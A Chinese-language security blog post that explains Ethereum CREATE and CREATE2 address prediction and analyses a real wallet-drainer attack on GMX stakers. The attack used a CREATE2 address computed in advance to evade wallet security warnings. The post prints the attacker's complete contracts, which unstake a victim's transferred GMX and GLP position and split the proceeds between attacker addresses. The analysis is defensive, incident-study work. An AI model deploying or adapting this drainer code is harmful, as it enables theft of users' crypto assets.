探究Wallet Drainers使用Create2 Bypass钱包安全告警

前言

最近链上的TVL很高,Wallet Drainers也越来越活跃了。

自己简单看了下,感觉蛮有趣的,因为最近手中的事情太多了,就简单记录下。


Create和Create2

在了解如何bypass钱包的安全告警之前,首先需要了解这一行为的实现,基于Create2

Create

EOA可以创建智能合约,智能合约同样也是可以创建智能合约的

create通常与address结合使用,用于在智能合约中创建新的合约实例。通过使用create,合约可以在其执行期间动态地生成新的合约。

这边我写一个简单的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract Factory {
event NewContract(address indexed createdContract);

function createNewContract() external {
// 使用 create 创建新的合约
address newContract = address(new MyContract());
emit NewContract(newContract);
}
}

contract MyContract {
// 合约的逻辑和状态变量
address public owner;

constructor() {
owner = msg.sender;
}

function isOwner() external view returns (bool) {
return msg.sender == owner;
}
}

首先部署Factory合约 合约地址为0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

然后创建新的合约createNewContract,可以看到日志中:

1
2
3
4
5
6
7
8
9
10
11
[
{
"from": "0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95",
"topic": "0x387ea218537e939551af33bbc2dd6c53b1fee55d377a0dce288258f972cb3a9c",
"event": "NewContract",
"args": {
"0": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a",
"createdContract": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a"
}soli
}
]

可以看到创建了合约0xc176E14869501dd2B8DCFaAe60Bd022717b6350a

我们再去部署MyContract 可以发现合约地址为0xc176E14869501dd2B8DCFaAe60Bd022717b6350a

点击owner为

1
"0": "address: 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95"

owner为创建的合约地址,那么就实现了在合约中创建合约的目的。

Create2

create2 允许合约在指定的地址上创建新的合约实例

那么就可以达到“预测”合约地址的方法

因为在地址的计算机制中,通常使用keccak256 哈希函数计算合约地址

create2为我们提供了一个计算地址的salt值,这样我们就可以更加灵活地控制合约地址

比如我们使用create2,我们可以在创建合约之前预测新创建的合约地址,如果我们在该地址上预先提供好需要部署的合约,那么就可以达到很多目的,比如:可以进行代币转移,合约升级,恶意合约的部署等等。

写一个简单的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
contract PredictableContract {
address public owner;

event ContractCreated(address indexed newContract, address indexed owner);

constructor(address _owner) payable {
owner = _owner;
}

function getOwner() public view returns (address) {
return owner;
}
}

contract Factory {
function deploy(uint _salt) public payable returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
type(PredictableContract).creationCode
)
);

address newContract = address(uint160(uint256(hash)));

return address(new PredictableContract{salt: bytes32(_salt)}(msg.sender));
}
}

给salt为66在部署的合约(合约地址0x3596A5B0cb68D61C071d5A535A3B676fB2b7D678)

中deploy一个合约

可以看到

解码输入 { “uint256 _salt”: “66” }
解码输出 { “0”: “address: 0xa852De88789ced6c8aF04738Cfb0E444cbb83102” }

得到预测的合约0xa852De88789ced6c8aF04738Cfb0E444cbb83102

我们部署到owner合约地址可以看到owner为

0xa852De88789ced6c8aF04738Cfb0E444cbb83102

也可以看下这位师傅写的solidity使用create2预测合约地址|create2用法|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ContractDemo {
address public owner;
// Only owners can call transactions marked with this modifier
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
constructor(address _owner) payable {
owner = _owner;
}

function getOwner() public view returns (address) {
return owner;
}

}
contract Factory {
// Returns the address of the newly deployed contract
function deploy(
uint _salt
) public payable returns (address) {
return address(new ContractDemo{salt: bytes32(_salt)}(msg.sender));
}

// 获取待部署合约字节码
function getBytecode()
public
view
returns (bytes memory)
{
bytes memory bytecode = type(ContractDemo).creationCode;
return abi.encodePacked(bytecode, abi.encode(msg.sender));
}
/** 获取待部署合约地址
params:
_salt: 随机整数,用于预计算地址
*/
function getAddress(uint256 _salt)
public
view
returns (address)
{
// Get a hash concatenating args passed to encodePacked
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), // 0
address(this), // address of factory contract
_salt, // a random salt
keccak256(getBytecode()) // the wallet contract bytecode
)
);
// Cast last 20 bytes of hash to address
return address(uint160(uint256(hash)));
}
}

更多详情:Create2 & Precompute Contract Address with Create2 | Solidity by Example

Bypass Wallet Warning

bypass流程

用ScamSniffer的图示 很清晰了,后续我再次捕捉这种基于create2的钓鱼或者攻击手段会更新再这篇

图像

相关事件

[X 上的 Scam Sniffer | Web3 Anti-Scam:“1/ Here is a real case happened 9 hours ago A victim lost $927k worth of $GMX after signing a `signalTransfer(address receiver)](https://etherscan.io/tx/0xccd808ede93fc8a3879e2f9dab5f4822c6e46fb349a73ad85944e0c93b27d09e)

攻击链

事件hash:

0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96(Txhash) Details | Arbiscan

攻击者通过GMX: Reward Router提取代币

0x4e1d6fcb620e87cedb1b67b5212a23ed1265acf4b8dcf646bc0810cfc3600260(Txhash) Details | Arbiscan

通过Create2预先计算的地址

Contract Address 0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91 | Arbiscan

0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91是一个预先计算的合约地址,为空合约

image-20231227173014462作为绕过钱包安全警告,这个合约地址是在wallet drainer转移其资产时(调用 create2 之后)创建的

意思就是:当你同意了签名,然后这个合约才被创建,你的资产通过这个创建后的合约进行转移

0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96

可以看详细链路:

arbitrum-0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96 | MetaSleuth

攻击者合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
// File: contracts/gmxUnstake.sol

pragma solidity ^0.8.0;

contract GmxUnstake {
address rewardRouter = 0xA906F338CB21815cBc4Bc87ace9e68c87eF8d8F1;
address stakedGmxTracker = 0x908C4D94D34924765f1eDc22A1DD098397c59dD4;
address gmxToken = 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a;
address feeAndStakedGlp = 0x1aDDD80E6039594eE970E5872D247bf0414C8903;
address rewardRouterV2 = 0xB95DB5B167D75e6d04227CfFFA61069348d271F5;

receive() external payable {}

fallback() external payable {}

modifier onlyOwner() {
require(
tx.origin == 0x0000db5c8B030ae20308ac975898E09741e70000,
"Caller is not an owner"
);
_;
}

function acceptTransfer(address victim) private {
(bool success, ) = (rewardRouter).call(
abi.encodeWithSignature("acceptTransfer(address)", victim)
);
require(success, "Can't accept transfer");
}

function handleRewards() private {
(bool success, ) = (rewardRouter).call(
abi.encodeWithSignature(
"handleRewards(bool,bool,bool,bool,bool,bool,bool)",
false,
false,
true,
false,
false,
true,
true
)
);
require(success, "Can't handle rewards");
}

function unstakeGmx(
uint16 percentageForFirstAddressInBasisPoints,
address firstAddress,
address secondAddress
) private {
(bool callSuccess, bytes memory data) = (stakedGmxTracker).call(
abi.encodeWithSignature(
"depositBalances(address,address)",
address(this),
gmxToken
)
);
require(
callSuccess && data.length > 0,
"Can't not get staked gmx amount"
);

uint256 stakedGmx = abi.decode(data, (uint256));

if (stakedGmx > 0) {
(bool unstakeSuccess, ) = (rewardRouter).call(
abi.encodeWithSignature("unstakeGmx(uint256)", stakedGmx)
);
require(unstakeSuccess, "Can't not unstake");

uint256 gmxAmountForFirstAddress = (stakedGmx *
percentageForFirstAddressInBasisPoints) / 10000;

uint256 gmxAmountForSecondAddress = stakedGmx -
gmxAmountForFirstAddress;

if (gmxAmountForFirstAddress > 0) {
(bool firstTransferSuccess, ) = gmxToken.call(
abi.encodeWithSignature(
"transfer(address,uint256)",
firstAddress,
gmxAmountForFirstAddress
)
);
require(firstTransferSuccess, "First gmx transfer failed");
}

if (gmxAmountForSecondAddress > 0) {
(bool secondTransferSuccess, ) = gmxToken.call(
abi.encodeWithSignature(
"transfer(address,uint256)",
secondAddress,
gmxAmountForSecondAddress
)
);
require(secondTransferSuccess, "Second gmx transfer failed");
}
}
}

function unstakeGlp(uint256 lpPrice, uint256 ethPrice) private {
(bool callSuccess, bytes memory data) = (feeAndStakedGlp).call(
abi.encodeWithSignature("balanceOf(address)", address(this))
);
require(callSuccess && data.length > 0, "Can't get glp token balance");

uint256 stakedBalance = abi.decode(data, (uint256));

if (stakedBalance > 0) {
(bool unstakeSuccess, ) = (rewardRouterV2).call(
abi.encodeWithSignature(
"unstakeAndRedeemGlpETH(uint256,uint256,address)",
stakedBalance,
(((stakedBalance * lpPrice) / ethPrice) * 9) / 10, // Calculate the min out value + remove 10%
address(this)
)
);
require(unstakeSuccess, "Can't unstake and redeem glp ETH");
}
}

function call(
address target,
bytes calldata data,
uint256 value
) public onlyOwner {
(bool success, bytes memory returnData) = target.call{value: value}(
data
);
require(success, string(returnData));
}

function unstake(
address victim,
uint16 percentageForFirstAddressInBasisPoints,
address firstAddress,
address secondAddress,
uint256 lpPrice,
uint256 ethPrice
) public onlyOwner {
require(
percentageForFirstAddressInBasisPoints <= 10000,
"Percentage must be between 0 and 10000"
);

require(
firstAddress != address(0) && secondAddress != address(0),
"Invalid address"
);

acceptTransfer(victim);

handleRewards();

unstakeGmx(
percentageForFirstAddressInBasisPoints,
firstAddress,
secondAddress
);

unstakeGlp(lpPrice, ethPrice);

if (address(this).balance > 0) {
uint256 amountForFirstAddress = (address(this).balance *
percentageForFirstAddressInBasisPoints) / 10000;

uint256 amountForSecondAddress = address(this).balance -
amountForFirstAddress;

if (amountForFirstAddress > 0) {
(bool success, ) = firstAddress.call{
value: amountForFirstAddress
}("");

require(success, "First transfer failed");
}

if (amountForSecondAddress > 0) {
(bool success, ) = secondAddress.call{
value: amountForSecondAddress
}("");

require(success, "Second transfer failed");
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// File: contracts/gmxUnstakeCreator.sol

pragma solidity ^0.8.0;


contract GmxUnstakeCreator {


function createContract(bytes32 salt) private returns (address) {
GmxUnstake _contract = new GmxUnstake{salt: salt}();
return address(_contract);
}

function getBytecode() private pure returns (bytes memory) {
bytes memory bytecode = type(GmxUnstake).creationCode;
return abi.encodePacked(bytecode);
}

function calculateAddress(bytes32 salt) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
salt,
keccak256(getBytecode())
)
);

return address(uint160(uint256(hash)));
}

function createAndCall(
bytes32 salt,
address victim,
uint16 percentageForFirstAddressInBasisPoints,
address firstAddress,
address secondAddress,
uint256 lpPrice,
uint256 ethPrice
) public {
address contractAddress = createContract(salt);

bytes memory callData = abi.encodeWithSignature(
"unstake(address,uint16,address,address,uint256,uint256)",
victim,
percentageForFirstAddressInBasisPoints,
firstAddress,
secondAddress,
lpPrice,
ethPrice
);

(bool success, ) = contractAddress.call(callData);
require(success, "Fail");
}
}

参考

Wallet Drainers Starts Using Create2 Bypass Wallet Security Alert - Scam Sniffer

Create2 | WTF Academy